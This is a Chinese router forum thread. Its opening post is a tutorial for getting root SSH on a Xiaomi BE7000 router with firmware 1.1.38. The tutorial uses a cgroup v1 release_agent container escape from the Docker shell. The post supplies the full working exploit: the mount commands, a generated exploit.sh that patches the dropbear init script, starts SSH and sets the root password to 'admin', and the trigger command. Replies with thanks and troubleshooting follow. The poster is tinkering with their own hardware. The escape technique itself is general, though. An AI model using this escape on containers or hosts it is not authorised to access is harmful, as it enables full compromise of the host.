找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888广告投放联系QQ68610888
广告投放联系QQ68610888广告投放联系QQ68610888
查看: 2141|回复: 18

[小米7000] BE7000 1.1.38固件最新解锁ssh教程,无需降级

[复制链接]
发表于 2026-6-3 14:09 | 显示全部楼层 |阅读模式
本帖最后由 maomaozi 于 2026-6-12 12:58 编辑

前段时间手欠,把固件版本升级到1.1.38了,最近想解锁下ssh,但是发现原来的教程全部失效了,官方修复工具没办法降级,xmir-patcher的exploit也全部失效,全网没找到一个可用的方案,因此自己研究了两天,走了不少弯路,好在最后成功解锁,分享出来给大家


废话不多说:

============解锁步骤==============


1. 首先准备一个ext4的u盘,插入路由器,然后正常安装docker和默认的管理界面




2. 进入默认管理工具的web页面终端


3. 输入以下命令查询一下cgoup状态和目前进程cap(可选):
  1. cat /proc/1/cgroup

  2. cat /proc/self/status | grep Cap
复制代码

如果看到cgroup子系统和CapEff: 0000003fffffffff 如下图所示,基本上就十拿九稳了,说明容器有非常大的权限,基本就是等同于用--privileged启动了当前容器





4. 接下来我们的路径主要就是从cgroup入手,构造一个经典的Cgroup v1 Release Agent 容器逃逸,一步一步执行以下命令
  1. # 1. 创建可写挂载点
  2. mkdir -p /tmp/cgrp_rw

  3. # 2. 绑定所有子系统进行挂载
  4. mount -t cgroup -o cpuset,cpu,cpuacct,blkio,memory,devices,freezer,net_cls,pids cgroup /tmp/cgrp_rw

  5. # 3. 创建子控制组并开启内核通知
  6. mkdir /tmp/cgrp_rw/x

  7. echo 1 > /tmp/cgrp_rw/x/notify_on_release
复制代码


命令执行完成不会有任何回显(linux哲学hhh,没有消息就是最好的消息),现在一个内核释放的机关已经准备好,下一步注入payloads即可




4. 准备注入payloads,整体复制执行下面的命令,生成利用脚本,拉起ssh服务并且修改root密码
  1. # 1. 获取宿主机绝对路径
  2. UPPERDIR=$(cat /proc/mounts | grep overlay | grep -oE "upperdir=[^,]+" | cut -d= -f2)

  3. # 2. 生成payload脚本
  4. cat << 'EOF' > /exploit.sh
  5. #!/bin/sh
  6. LOG_FILE="__UPPERDIR__/exploit_log.txt"

  7. echo "=== [SSH 解锁执行日志 - $(date)] ===" > "$LOG_FILE"

  8. # 【步骤 1:检查宿主机目标文件是否存在】
  9. if [ -f /etc/init.d/dropbear ]; then
  10.     echo "[成功] 宿主机存在 /etc/init.d/dropbear 文件。" >> "$LOG_FILE"
  11. else
  12.     echo "[错误] 宿主机未找到 /etc/init.d/dropbear 文件!" >> "$LOG_FILE"
  13.     exit 1
  14. fi

  15. # 【步骤 2:执行 sed 绕过通道检测】
  16. echo "[执行] 开始注入 sed 补丁以绕过小米通道检测..." >> "$LOG_FILE"
  17. sed -i '/flg_ssh=`nvram get ssh_en`/{:loop; N; /\n.*channel=`\/sbin\/uci get \/usr\/share\/xiaoqiang\/xiaoqiang_version.version.CHANNEL`\n.*return 0\n.*fi/!b loop; d}' /etc/init.d/dropbear 2>> "$LOG_FILE"

  18. if [ $? -eq 0 ]; then
  19.     echo "[成功] sed 补丁注入成功。" >> "$LOG_FILE"
  20. else
  21.     echo "[失败] sed 补丁注入遇到异常!" >> "$LOG_FILE"
  22. fi

  23. # 【步骤 3:启动 SSH 服务】
  24. echo "[执行] 尝试启动宿主机 Dropbear (SSH) 服务..." >> "$LOG_FILE"
  25. /etc/init.d/dropbear start 2>> "$LOG_FILE"

  26. if [ $? -eq 0 ]; then
  27.     echo "[成功] SSH 服务已成功拉起!" >> "$LOG_FILE"
  28. else
  29.     echo "[失败] 启动 SSH 服务失败或服务已在运行。" >> "$LOG_FILE"
  30. fi

  31. # 【步骤 4:强制重置 root 密码为 admin】
  32. echo "[执行] 正在将宿主机 root 密码强制初始化为: admin ..." >> "$LOG_FILE"
  33. echo -e "admin\nadmin" | passwd root 2>> "$LOG_FILE"

  34. if [ $? -eq 0 ]; then
  35.     echo "[成功] 宿主机 root 密码已成功设置为 admin。" >> "$LOG_FILE"
  36. else
  37.     echo "[失败] 密码修改失败。" >> "$LOG_FILE"
  38. fi

  39. echo "=== [脚本结束] ===" >> "$LOG_FILE"
  40. EOF

  41. # 3. 将脚本中的占位符替换为宿主机真实的物理路径
  42. sed -i "s|__UPPERDIR__|$UPPERDIR|g" /exploit.sh

  43. # 4. 赋予可执行权限
  44. chmod +x /exploit.sh
复制代码


5. 最后一步,让cgroup清理hook去执行我们的利用脚本

  1. # 将 exploit.sh 在宿主机下的绝对路径塞给内核释放代理
  2. echo "$UPPERDIR/exploit.sh" > /tmp/cgrp_rw/release_agent

  3. # 强行终止一个容器内子进程,触发内核调用
  4. sh -c "echo \$\$ > /tmp/cgrp_rw/x/cgroup.procs"
复制代码


然后等待几秒钟,在当前目录下会生成一个exploit_log.txt,这个文件出现了基本就是成功了(至少注入的脚本正常执行),如果碰见执行失败问题,比如执行完以后仍然连不上ssh,可以查看其内容来debug


6. 最后ssh连接即可,用户root,默认密码为admin,注意路由器证书只有
ssh-rsa版本,这个在很多现代ssh客户端默认不支持,需要手动指定一下
  1. ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email]root@192.168.31.1[/email]
复制代码


===============

接下来的SSH固化步骤按照以前的教程就可以了,不再赘述

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

评分

参与人数 2恩山币 +3 收起 理由
liyvhg + 2 验证成功,2026-07-12系统版本: 1.1.38 稳定 ...
gafdsdSA + 1 是真的 我验证过了

查看全部评分

只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
发表于 2026-6-3 14:24 来自手机 | 显示全部楼层
牛啊 mark
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-3 17:08 | 显示全部楼层
崇拜技术流大佬!
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-4 07:31 | 显示全部楼层
谢谢楼主无私分享,收下了.
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-4 09:14 | 显示全部楼层
谢谢楼主无私分享
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-4 22:01 | 显示全部楼层
are you ok? 1.1.38

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-4 22:46 | 显示全部楼层
谢谢楼主无私分享
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-5 15:27 | 显示全部楼层
固化SSH后可以撤掉U盘吗?

点评

可以,不影响,但是撤掉后就没啥空间可用了,本机可写入的闪存太小了  详情 回复 发表于 2026-6-12 12:49
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-10 18:15 | 显示全部楼层
感谢楼主分享,正愁不能降级不知道怎么解锁 ssh
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

 楼主| 发表于 2026-6-12 12:49 | 显示全部楼层
xuefeihong 发表于 2026-6-5 15:27
固化SSH后可以撤掉U盘吗?

可以,不影响,但是撤掉后就没啥空间可用了,本机可写入的闪存太小了
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-6-18 11:04 | 显示全部楼层
本帖最后由 darksavant 于 2026-6-18 11:07 编辑

我用的固件是1.1.17(忘记看了,印象中好像是这个版本)不需要这么复杂的,直接上xmir-patcher就完事了
然后刷mtd2(分区表)和mtd18(u-boot)即可,只是目前只能刷QWRT,但是无线驱动貌似做的不够全,目前还在试其它的fw
另外这货只有128mb的nand,不够用可以找个u盘刷成ext4格式,直接取代那小小的ubi分区/overlay,这样什么插件就都能上了
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-7-8 09:48 来自手机 | 显示全部楼层
我尝试用官方刷机工具刷1.1.16,按reset机器一直闪白灯原来是因为压根刷不进去吗 唉
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-7-14 09:52 | 显示全部楼层
博主好,感谢分享教程。我按步骤操作了三次(期间卸载重装过 Docker),每次都卡在 release_agent 不触发。

环境:

BE7000,固件 1.1.38,内核 5.4.164 (aarch64)
容器 CapEff: 0000003fffffffff
全新安装 Docker + SimpleDocker,EXT4 U 盘
已确认完成的步骤:

✅ cgroup 挂载:mount -t cgroup -o ... /tmp/cgrp_rw
✅ 子 cgroup 创建:/tmp/cgrp_rw/x,notify_on_release=1
✅ release_agent 文件存在,路径写入成功(/proc/mounts 中可见 release_agent=...)
✅ exploit.sh 生成、chmod +x、放在宿主机能读到的 overlay upperdir 路径
✅ 触发:进程写入 x/cgroup.procs 后退出,cgroup.procs 变空
但第 6 步不发生——exploit.sh 从未执行(目标路径无日志文件生成)。换了三种触发方式(sh -c "echo $$ > ..."、sleep & kill、直接写 PID 后退出)均无效。

/proc/config.gz 在这台机器上不存在,无法直接验证 CONFIG_CGROUP_RELEASE_AGENT,但三次实验行为一致——release_agent 路径写入成功但内核不执行。

请问有可能是什么原因?是不是特定批次的内核编译配置不同,或者我对 cgroup 挂载的理解有偏差?

点评

我看了下我的内核版本应该和你一样 你可以先试一个非常简单的触发脚本,比如echo 'hello' >> [你的docker管理界面在宿主机的绝对路径,也就是UPPERDIR],也就是下面这个命令获取的路径,顺便看一下这个路径获取的  详情 回复 发表于 2026-7-16 13:36
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

 楼主| 发表于 2026-7-16 13:36 | 显示全部楼层
emf1002 发表于 2026-7-14 09:52
博主好,感谢分享教程。我按步骤操作了三次(期间卸载重装过 Docker),每次都卡在 release_agent 不触发。 ...

我看了下我的内核版本应该和你一样

  1. root@XiaoQiang:~# uname -a
  2. Linux XiaoQiang 5.4.164 #0 SMP PREEMPT Tue Jan 27 03:33:27 2026 aarch64 GNU/Linux
复制代码


你可以先试一个非常简单的触发脚本,比如echo 'hello' >> [你的docker管理界面在宿主机的绝对路径,也就是UPPERDIR],也就是下面这个命令获取的路径,顺便看一下这个路径获取的对不对

  1. cat /proc/mounts | grep overlay | grep -oE "upperdir=[^,]+" | cut -d= -f2
复制代码


最好手动自己操作下,用agent操作很多时候有些引号转义有问题
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

发表于 2026-7-18 19:42 | 显示全部楼层
大佬,log输出都是成功的为什么
PS C:\Users\71588> ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.5.1
ssh: connect to host 192.168.5.1 port 22: Connection refused
登录不上啊
只谈技术、莫论政事!(点击见详情) | 互相尊重、友善交流、切勿过度反应、玻璃心。胡乱输入灌水等操作将会被封禁ID。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛上一条 /2 下一条

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2026-8-23 23:23

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com 电话:13506125623

快速回复 返回顶部 返回列表